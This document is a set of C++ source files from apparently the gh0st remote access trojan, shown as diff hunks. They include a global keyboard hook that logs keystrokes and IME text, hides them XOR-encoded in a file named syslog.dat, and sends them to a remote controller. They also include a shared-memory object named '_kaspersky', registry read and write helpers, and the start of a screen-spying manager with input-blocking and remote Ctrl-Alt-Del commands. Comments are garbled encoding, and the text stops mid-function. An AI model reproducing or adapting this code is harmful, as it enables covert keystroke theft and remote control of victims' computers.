char strSaveString[1024 * 2];
SYSTEMTIME SysTime;
GetLocalTime(&SysTime);
memset(strSaveString, 0, sizeof(strSaveString));
wsprintf
(
strSaveString,
"\r\n[%02d/%02d/%d %02d:%02d:%02d] (%s)\r\n",
SysTime.wMonth, SysTime.wDay, SysTime.wYear,
SysTime.wHour, SysTime.wMinute, SysTime.wSecond,
strCapText
);
// <20>ú<EFBFBD><C3BA><EFBFBD>Ϊ<EFBFBD><CEAA>Ӧ<EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD>
SaveInfo(strSaveString);
}
if (m_pTShared->bIsOffline)
{
SaveToFile(lpBuffer);
}
// reset
if ((m_pTShared->dwOffset + dwBytes) > sizeof(m_pTShared->chKeyBoard))
{
memset(m_pTShared->chKeyBoard, 0, sizeof(m_pTShared->chKeyBoard));
m_pTShared->dwOffset = 0;
}
lstrcat(m_pTShared->chKeyBoard, lpBuffer);
m_pTShared->dwOffset += dwBytes;
}
LRESULT CALLBACK CKeyboardManager::GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
{
MSG* pMsg;
char strChar[2];
char KeyName[20];
LRESULT result = CallNextHookEx(m_pTShared->hGetMsgHook, nCode, wParam, lParam);
pMsg = (MSG*)(lParam);
// <20><>ֹ<EFBFBD><D6B9>Ϣ<EFBFBD>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD>pMsg->time<6D>ж<EFBFBD>
if (
(nCode != HC_ACTION) ||
((pMsg->message != WM_IME_COMPOSITION) && (pMsg->message != WM_CHAR)) ||
(m_dwLastMsgTime == pMsg->time)
)
{
return result;
}
m_dwLastMsgTime = pMsg->time;
if ((pMsg->message == WM_IME_COMPOSITION) && (pMsg->lParam & GCS_RESULTSTR))
{
HWND hWnd = pMsg->hwnd;
HIMC hImc = ImmGetContext(hWnd);
LONG strLen = ImmGetCompositionString(hImc, GCS_RESULTSTR, NULL, 0);
// <20><><EFBFBD>ǵ<EFBFBD>UNICODE
strLen += sizeof(WCHAR);
ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str));
strLen = ImmGetCompositionString(hImc, GCS_RESULTSTR, m_pTShared->str, strLen);
ImmReleaseContext(hWnd, hImc);
SaveInfo(m_pTShared->str);
}
if (pMsg->message == WM_CHAR)
{
if (pMsg->wParam <= 127 && pMsg->wParam >= 20)
{
strChar[0] = pMsg->wParam;
strChar[1] = '\0';
SaveInfo(strChar);
}
else if (pMsg->wParam == VK_RETURN)
{
SaveInfo("\r\n");
}
// <20><><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD>
else
{
memset(KeyName, 0, sizeof(KeyName));
if (GetKeyNameText(pMsg->lParam, &(KeyName[1]), sizeof(KeyName) - 2) > 0)
{
KeyName[0] = '[';
lstrcat(KeyName, "]");
SaveInfo(KeyName);
}
}
}
return result;
}
void CKeyboardManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
if (lpBuffer[0] == COMMAND_NEXT)
NotifyDialogIsOpen();
if (lpBuffer[0] == COMMAND_KEYBOARD_OFFLINE)
{
m_pTShared->bIsOffline = !m_pTShared->bIsOffline;
if (!m_pTShared->bIsOffline)
DeleteFile(m_pTShared->strRecordFile);
else if (GetFileAttributes(m_pTShared->strRecordFile) == -1)
{
HANDLE hFile = CreateFile(m_pTShared->strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
CloseHandle(hFile);
}
}
if (lpBuffer[0] == COMMAND_KEYBOARD_CLEAR && m_pTShared->bIsOffline)
{
HANDLE hFile = CreateFile(m_pTShared->strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
CloseHandle(hFile);
}
}
bool CKeyboardManager::Initialization()
{
CShareRestrictedSD ShareRestrictedSD;
m_hMapping_File = CreateFileMapping((HANDLE)0xFFFFFFFF, ShareRestrictedSD.GetSA(), PAGE_READWRITE, 0, sizeof(TShared), "_kaspersky");
if (m_hMapping_File == NULL)
return false;
// ע<><D7A2>m_pTShared<65><64><EFBFBD>ܽ<EFBFBD><DCBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>, Ҫ<><D2AA>StartHook<6F><6B><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD>
m_pTShared = (TShared *)MapViewOfFile(m_hMapping_File, FILE_MAP_WRITE | FILE_MAP_READ, 0, 0, 0);
if (m_pTShared == NULL)
return false;
return true;
}
bool CKeyboardManager::StartHook()
{
if (!Initialization())
return false;
ZeroMemory(m_pTShared, sizeof(TShared));
g_bSignalHook = true;
m_dwLastMsgTime = GetTickCount();
m_pTShared->hActWnd = NULL;
m_pTShared->hGetMsgHook = NULL;
m_pTShared->dwOffset = 0;
ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str));
GetSystemDirectory(m_pTShared->strRecordFile, sizeof(m_pTShared->strRecordFile));
lstrcat(m_pTShared->strRecordFile, "\\syslog.dat");
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ڣ<EFBFBD><DAA3>Ϳ<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>߼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>
if (GetFileAttributes(m_pTShared->strRecordFile) != -1)
m_pTShared->bIsOffline = true;
else
m_pTShared->bIsOffline = false;
if (m_pTShared->hGetMsgHook == NULL)
{
m_pTShared->hGetMsgHook = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, g_hInstance, 0);
}
return true;
}
void CKeyboardManager::StopHook()
{
if (m_pTShared->hGetMsgHook != NULL)
UnhookWindowsHookEx(m_pTShared->hGetMsgHook);
m_pTShared->hGetMsgHook = NULL;
UnmapViewOfFile(m_pTShared);
CloseHandle(m_hMapping_File);
m_pTShared = NULL;
}
int CKeyboardManager::sendStartKeyBoard()
{
BYTE bToken[2];
bToken[0] = TOKEN_KEYBOARD_START;
bToken[1] = (BYTE)m_pTShared->bIsOffline;
return Send((LPBYTE)&bToken[0], sizeof(bToken));
}
int CKeyboardManager::sendKeyBoardData(LPBYTE lpData, UINT nSize)
{
int nRet = -1;
DWORD dwBytesLength = 1 + nSize;
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwBytesLength);
lpBuffer[0] = TOKEN_KEYBOARD_DATA;
memcpy(lpBuffer + 1, lpData, nSize);
nRet = Send((LPBYTE)lpBuffer, dwBytesLength);
LocalFree(lpBuffer);
return nRet;
}
int CKeyboardManager::sendOfflineRecord()
{
int nRet = 0;
DWORD dwSize = 0;
DWORD dwBytesRead = 0;
char strRecordFile[MAX_PATH];
GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
lstrcat(strRecordFile, "\\syslog.dat");
HANDLE hFile = CreateFile(strRecordFile, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE)
{
dwSize = GetFileSize(hFile, NULL);
char *lpBuffer = new char[dwSize];
ReadFile(hFile, lpBuffer, dwSize, &dwBytesRead, NULL);
// <20><><EFBFBD><EFBFBD>
for (int i = 0; i < dwSize; i++)
lpBuffer[i] ^= XOR_ENCODE_VALUE;
nRet = sendKeyBoardData((LPBYTE)lpBuffer, dwSize);
delete lpBuffer;
}
CloseHandle(hFile);
return nRet;
}

View File

@@ -0,0 +1,171 @@
// KeyboardManager.h: interface for the CKeyboardManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_KEYBOARDMANAGER_H__F0442063_CAAE_4BA1_B6CA_1FCB39A996AC__INCLUDED_)
#define AFX_KEYBOARDMANAGER_H__F0442063_CAAE_4BA1_B6CA_1FCB39A996AC__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#define SIZE_IMM_BUFFER 128
#define XOR_ENCODE_VALUE 98 // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD>ܵ<EFBFBD>xorֵ
typedef struct
{
DWORD dwOffset;
HHOOK hGetMsgHook;
HWND hActWnd; //current actived window
bool bIsOffline;
char strRecordFile[MAX_PATH];
char chKeyBoard[1024];
char str[SIZE_IMM_BUFFER];
}TShared;
class CShareRestrictedSD
{
public:
CShareRestrictedSD()
{
ptr = NULL;
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = &sd;
sa.bInheritHandle = FALSE;
// build a restricted security descriptor
ptr = BuildRestrictedSD(&sd);
}
virtual ~CShareRestrictedSD()
{
if (ptr)
FreeRestrictedSD(ptr);
}
LPVOID BuildRestrictedSD(PSECURITY_DESCRIPTOR pSD)
{
DWORD dwAclLength;
PSID psidEveryone = NULL;
PACL pDACL = NULL;
BOOL bResult = FALSE;
PACCESS_ALLOWED_ACE pACE = NULL;
SID_IDENTIFIER_AUTHORITY siaWorld = SECURITY_WORLD_SID_AUTHORITY ;
SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION;
__try {
// initialize the security descriptor
if (!InitializeSecurityDescriptor(pSD,
SECURITY_DESCRIPTOR_REVISION)) {
__leave;
}
// obtain a sid for the Authenticated Users Group
if (!AllocateAndInitializeSid(&siaWorld, 1,
SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0,
&psidEveryone)) {
__leave;
}
// NOTE:
//
// The Authenticated Users group includes all user accounts that
// have been successfully authenticated by the system. If access
// must be restricted to a specific user or group other than
// Authenticated Users, the SID can be constructed using the
// LookupAccountSid() API based on a user or group name.
// calculate the DACL length
dwAclLength = sizeof(ACL)
// add space for Authenticated Users group ACE
+ sizeof(ACCESS_ALLOWED_ACE) - sizeof(DWORD)
+ GetLengthSid(psidEveryone);
// allocate memory for the DACL
pDACL = (PACL) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
dwAclLength);
if (!pDACL) {
__leave;
}
// initialize the DACL
if (!InitializeAcl(pDACL, dwAclLength, ACL_REVISION)) {
__leave;
}
// add the Authenticated Users group ACE to the DACL with
// GENERIC_READ, GENERIC_WRITE, and GENERIC_EXECUTE access
if (!AddAccessAllowedAce(pDACL, ACL_REVISION,
GENERIC_ALL,
psidEveryone)) {
__leave;
}
// set the DACL in the security descriptor
if (!SetSecurityDescriptorDacl(pSD, TRUE, pDACL, FALSE)) {
__leave;
}
bResult = TRUE;
}
__finally {
if (psidEveryone) FreeSid(psidEveryone);
}
if (bResult == FALSE) {
if (pDACL) HeapFree(GetProcessHeap(), 0, pDACL);
pDACL = NULL;
}
return (LPVOID) pDACL;
}
// The following function frees memory allocated in the
// BuildRestrictedSD() function
VOID FreeRestrictedSD(LPVOID ptr)
{
if (ptr) HeapFree(GetProcessHeap(), 0, ptr);
}
SECURITY_ATTRIBUTES* GetSA()
{
if (ptr)
return &sa;
else
return NULL;
}
protected:
LPVOID ptr;
SECURITY_ATTRIBUTES sa;
SECURITY_DESCRIPTOR sd;
};
class CKeyboardManager : public CManager
{
public:
CKeyboardManager(CClientSocket *pClient);
virtual ~CKeyboardManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
static bool StartHook();
static void StopHook();
static bool Initialization();
static HINSTANCE g_hInstance;
static DWORD m_dwLastMsgTime;
static TShared* m_pTShared;
static HANDLE m_hMapping_File;
private:
static LRESULT CALLBACK GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam);
static void SaveInfo(char *lpBuffer);
static void SaveToFile(char *lpBuffer);
int sendOfflineRecord();
int sendStartKeyBoard();
int sendKeyBoardData(LPBYTE lpData, UINT nSize);
};
#endif // !defined(AFX_KEYBOARDMANAGER_H__F0442063_CAAE_4BA1_B6CA_1FCB39A996AC__INCLUDED_)

View File

@@ -0,0 +1,56 @@
// Manager.cpp: implementation of the CManager class.
//
//////////////////////////////////////////////////////////////////////
//---<2D><>ʵ<EFBFBD><CAB5>CManager<65><72>ʲôҲû<D2B2><C3BB>ʵ<EFBFBD><CAB5> <20><><EFBFBD><EFBFBD>ȥ<EFBFBD><C8A5><EFBFBD><EFBFBD>gh0st<73><74><EFBFBD><EFBFBD>ôʹ<C3B4><CAB9>cClientSocket<65>ĵ<EFBFBD>main <20><><EFBFBD><EFBFBD>
#include "Manager.h"
#include "until.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CManager::CManager(CClientSocket *pClient)
{
m_pClient = pClient;
m_pClient->setManagerCallBack(this);
/*
bManualReset
[in] Specifies whether a manual-reset or auto-reset event object is created. If TRUE, then you must use the ResetEvent function to manually reset the state to nonsignaled. If FALSE, the system automatically resets the state to nonsignaled after a single waiting thread has been released.
*/
// <20>ڶ<EFBFBD><DAB6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊtrue,<2C><>ֹϵͳ<CFB5>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD>
m_hEventDlgOpen = CreateEvent(NULL, true, false, NULL);
}
CManager::~CManager()
{
CloseHandle(m_hEventDlgOpen);
}
void CManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
}
int CManager::Send(LPBYTE lpData, UINT nSize)
{
int nRet = 0;
try
{
nRet = m_pClient->Send((LPBYTE)lpData, nSize);
}catch(...){};
return nRet;
}
void CManager::WaitForDialogOpen()
{
WaitForSingleObject(m_hEventDlgOpen, INFINITE);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Sleep,<2C><>ΪԶ<CEAA>̴<EFBFBD><CCB4>ڴ<EFBFBD>InitDialog<6F>з<EFBFBD><D0B7><EFBFBD>COMMAND_NEXT<58><54><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE>Ҫһ<D2AA><D2BB>ʱ<EFBFBD><CAB1>
Sleep(150);
}
void CManager::NotifyDialogIsOpen()
{
SetEvent(m_hEventDlgOpen);
}

View File

@@ -0,0 +1,36 @@
// Manager.h: interface for the CManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_MANAGER_H__5935556F_19FF_4676_898A_3D750F2F2658__INCLUDED_)
#define AFX_MANAGER_H__5935556F_19FF_4676_898A_3D750F2F2658__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include <winsock2.h>
#include "../ClientSocket.h"
#include "..\..\common\macros.h"
#include "until.h"
#ifdef _CONSOLE
#include <stdio.h>
#endif
class CManager
{
friend class CClientSocket;
typedef int (*SENDPROC)(LPBYTE lpData, UINT nSize);
public:
CManager(CClientSocket *pClient);
virtual ~CManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
int Send(LPBYTE lpData, UINT nSize);
CClientSocket *m_pClient;
HANDLE m_hEventDlgOpen;
void WaitForDialogOpen();
void NotifyDialogIsOpen();
private:
SENDPROC m_pSendProc;
};
#endif // !defined(AFX_MANAGER_H__5935556F_19FF_4676_898A_3D750F2F2658__INCLUDED_)

View File

@@ -0,0 +1,242 @@
#include <windows.h>
//ȥ<><C8A5><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>Ŀո<C4BF>
char *DelSpace(char *szData)
{
int i=0 ;
while(1)
{
if(strnicmp(szData+i," ",1))
break;
i++;
}
return (szData+i);
}
//<2F><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1>Ȩ<EFBFBD><C8A8>(KEY_READ||KEY_WRITE||KEY_ALL_ACCESS)
int SetKeySecurityEx(HKEY MainKey,LPCTSTR SubKey,DWORD security)
{
HKEY hKey;
SID_IDENTIFIER_AUTHORITY sia = SECURITY_NT_AUTHORITY;
PSID pSystemSid = NULL;
PSID pUserSid = NULL;
SECURITY_DESCRIPTOR sd;
PACL pDacl = NULL;
DWORD dwAclSize;
int iResult = 0;
__try
{
if(RegOpenKeyEx(MainKey, SubKey, 0, WRITE_DAC, &hKey)!= ERROR_SUCCESS)
__leave;
if(!AllocateAndInitializeSid(&sia,1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid ))
__leave;
if(!AllocateAndInitializeSid( &sia, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,0, 0, 0, 0, 0, 0, &pUserSid))
__leave;
dwAclSize = sizeof(ACL) + 2 * ( sizeof(ACCESS_ALLOWED_ACE) - sizeof(DWORD) ) + GetLengthSid(pSystemSid) + GetLengthSid(pUserSid) ;
pDacl = (PACL)HeapAlloc(GetProcessHeap(), 0, dwAclSize);
if(pDacl == NULL)
__leave;
if(!InitializeAcl(pDacl, dwAclSize, ACL_REVISION))
__leave;
if(!AddAccessAllowedAce( pDacl, ACL_REVISION, KEY_ALL_ACCESS, pSystemSid ))
__leave;
if(!AddAccessAllowedAce( pDacl, ACL_REVISION, (unsigned long)security, pUserSid ))
__leave;
if(!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
__leave;
if(!SetSecurityDescriptorDacl(&sd, TRUE, pDacl, FALSE))
__leave;
if(RegSetKeySecurity(hKey, (SECURITY_INFORMATION)DACL_SECURITY_INFORMATION, &sd)!= ERROR_SUCCESS)
__leave;
iResult =1;
}
__finally
{
RegCloseKey(MainKey);
RegCloseKey(hKey);
if(pDacl !=NULL)
HeapFree(GetProcessHeap(), 0, pDacl);
if(pSystemSid !=NULL)
FreeSid(pSystemSid);
if(pUserSid !=NULL)
FreeSid(pUserSid);
}
return iResult;
}
//<2F><>ȡע<C8A1><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D><><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD> 1-<2D><><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD> 2-<2D><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 3-<2D>жϸü<CFB8><C3BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>)
int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData,LPBYTE szBytes,DWORD lbSize,int Mode)
{
HKEY hKey;
int ValueDWORD,iResult=0;
char* PointStr;
char KeyName[32],ValueSz[MAX_PATH],ValueTemp[MAX_PATH];
DWORD szSize,KnSize,dwIndex=0;
memset(KeyName,0,sizeof(KeyName));
memset(ValueSz,0,sizeof(ValueSz));
memset(ValueTemp,0,sizeof(ValueTemp));
__try
{
// SetKeySecurityEx(MainKey,SubKey,KEY_ALL_ACCESS);
if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ,&hKey) != ERROR_SUCCESS)
{
iResult = -1;
__leave;
}
switch(Mode)
{
case 0:
switch(Type)
{
case REG_SZ:
case REG_EXPAND_SZ:
szSize = sizeof(ValueSz);
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
{
strcpy(szData,DelSpace(ValueSz));
iResult =1;
}
break;
case REG_MULTI_SZ:
szSize = sizeof(ValueSz);
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
{
for(PointStr = ValueSz; *PointStr; PointStr = strchr(PointStr,0)+1)
{
strncat(ValueTemp,PointStr,sizeof(ValueTemp));
strncat(ValueTemp," ",sizeof(ValueTemp));
}
strcpy(szData,ValueTemp);
iResult =1;
}
break;
case REG_DWORD:
szSize = sizeof(DWORD);
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)&ValueDWORD,&szSize ) == ERROR_SUCCESS)
{
wsprintf(szData,"%d",ValueDWORD);
iResult =1;
}
break;
case REG_BINARY:
szSize = lbSize;
if(RegQueryValueEx(hKey,Vname,NULL,&Type,szBytes,&szSize) == ERROR_SUCCESS)
iResult =1;
break;
}
break;
case 1:
while(1)
{
memset(ValueSz,0,sizeof(ValueSz));
szSize = sizeof(ValueSz);
if(RegEnumKeyEx(hKey,dwIndex++,ValueSz,&szSize,NULL,NULL,NULL,NULL) != ERROR_SUCCESS)
break;
wsprintf(ValueTemp,"[%s]\r\n",ValueSz);
strcat(szData,ValueTemp);
iResult =1;
}
break;
case 2:
while(1)
{
memset(KeyName,0,sizeof(KeyName));
memset(ValueSz,0,sizeof(ValueSz));
memset(ValueTemp,0,sizeof(ValueTemp));
KnSize = sizeof(KeyName);
szSize = sizeof(ValueSz);
if(RegEnumValue(hKey,dwIndex++,KeyName,&KnSize,NULL,&Type,(LPBYTE)ValueSz,&szSize) != ERROR_SUCCESS)
break;
switch(Type)
{
case REG_SZ:
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_SZ",ValueSz);
break;
case REG_EXPAND_SZ:
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_EXPAND_SZ",ValueSz);
break;
case REG_DWORD:
wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName,"REG_DWORD",ValueSz,int(ValueSz));
break;
case REG_MULTI_SZ:
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_MULTI_SZ");
break;
case REG_BINARY:
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_BINARY");
break;
}
lstrcat(szData,ValueTemp);
iResult =1;
}
break;
case 3:
iResult =1;
break;
}
}
__finally
{
RegCloseKey(MainKey);
RegCloseKey(hKey);
}
return iResult;
}
//дע<D0B4><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D>½<EFBFBD><C2BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1-<2D><><EFBFBD>ü<EFBFBD><C3BC><EFBFBD><EFBFBD><EFBFBD> 2-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD> 3-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
int WriteRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char* szData,DWORD dwData,int Mode)
{
HKEY hKey;
DWORD dwDisposition;
int iResult =0;
__try
{
// SetKeySecurityEx(MainKey,Subkey,KEY_ALL_ACCESS);
switch(Mode)
{
case 0:
if(RegCreateKeyEx(MainKey,SubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) != ERROR_SUCCESS)
__leave;
case 1:
if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
__leave;
switch(Type)
{
case REG_SZ:
case REG_EXPAND_SZ:
if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)szData,strlen(szData)+1) == ERROR_SUCCESS)
iResult =1;
break;
case REG_DWORD:
if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)&dwData,sizeof(DWORD)) == ERROR_SUCCESS)
iResult =1;
break;
case REG_BINARY:
break;
}
break;
case 2:
if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
__leave;
if (RegDeleteKey(hKey,Vname) == ERROR_SUCCESS)
iResult =1;
break;
case 3:
if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
__leave;
if (RegDeleteValue(hKey,Vname) == ERROR_SUCCESS)
iResult =1;
break;
}
}
__finally
{
RegCloseKey(MainKey);
RegCloseKey(hKey);
}
return iResult;
}

View File

@@ -0,0 +1,13 @@
#ifndef REGEDITEX_H
#define REGEDITEX_H
//ȥ<><C8A5><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>Ŀո<C4BF>
char *DelSpace(char *szData);
//<2F><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1>Ȩ<EFBFBD><C8A8>(KEY_READ||KEY_WRITE||KEY_ALL_ACCESS)
int SetKeySecurityEx(HKEY MainKey,LPCTSTR SubKey,DWORD security);
//<2F><>ȡע<C8A1><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D><><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD> 1-<2D><><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD> 2-<2D><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 3-<2D>жϸü<CFB8><C3BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>)
int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData,LPBYTE szBytes,DWORD lbSize,int Mode);
//дע<D0B4><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D>½<EFBFBD><C2BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1-<2D><><EFBFBD>ü<EFBFBD><C3BC><EFBFBD><EFBFBD><EFBFBD> 2-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD> 3-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
int WriteRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char* szData,DWORD dwData,int Mode);
#endif

View File

@@ -0,0 +1,373 @@
// ScreenManager.cpp: implementation of the CScreenManager class.
//
//////////////////////////////////////////////////////////////////////
#define _WIN32_WINNT 0x0400
#include "ScreenManager.h"
#include "until.h"
#include <winable.h> // BlockInput
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)
{
m_bAlgorithm = ALGORITHM_SCAN;
m_biBitCount = 8;
m_pScreenSpy = new CScreenSpy(8);
m_bIsWorking = true;
m_bIsBlankScreen = false;
m_bIsBlockInput = false;
m_bIsCaptureLayer = false;
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);
}
CScreenManager::~CScreenManager()
{
InterlockedExchange((LPLONG)&m_bIsBlankScreen, false);
InterlockedExchange((LPLONG)&m_bIsWorking, false);
WaitForSingleObject(m_hWorkThread, INFINITE);
WaitForSingleObject(m_hBlankThread, INFINITE);
CloseHandle(m_hWorkThread);
CloseHandle(m_hBlankThread);
if (m_pScreenSpy)
delete m_pScreenSpy;
}
void CScreenManager::ResetScreen(int biBitCount)
{
m_bIsWorking = false;
WaitForSingleObject(m_hWorkThread, INFINITE);
CloseHandle(m_hWorkThread);
delete m_pScreenSpy;
if (biBitCount == 3) // 4λ<34>Ҷ<EFBFBD>
m_pScreenSpy = new CScreenSpy(4, true);
else if (biBitCount == 7) // 8λ<38>Ҷ<EFBFBD>
m_pScreenSpy = new CScreenSpy(8, true);
else
m_pScreenSpy = new CScreenSpy(biBitCount);
m_pScreenSpy->setAlgorithm(m_bAlgorithm);
m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
m_biBitCount = biBitCount;
m_bIsWorking = true;
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
}
void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
try
{
switch (lpBuffer[0])
{
case COMMAND_NEXT:
// ֪ͨ<CDA8>ں<EFBFBD>Զ<EFBFBD>̿<EFBFBD><CCBF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD>Ѵ򿪣<D1B4>WaitForDialogOpen<65><6E><EFBFBD>Է<EFBFBD><D4B7><EFBFBD>
NotifyDialogIsOpen();
break;
case COMMAND_SCREEN_RESET:
ResetScreen(*(LPBYTE)&lpBuffer[1]);
break;
case COMMAND_ALGORITHM_RESET:
m_bAlgorithm = *(LPBYTE)&lpBuffer[1];
m_pScreenSpy->setAlgorithm(m_bAlgorithm);
break;
case COMMAND_SCREEN_CTRL_ALT_DEL:
::SimulateCtrlAltDel();
break;
case COMMAND_SCREEN_CONTROL:
{
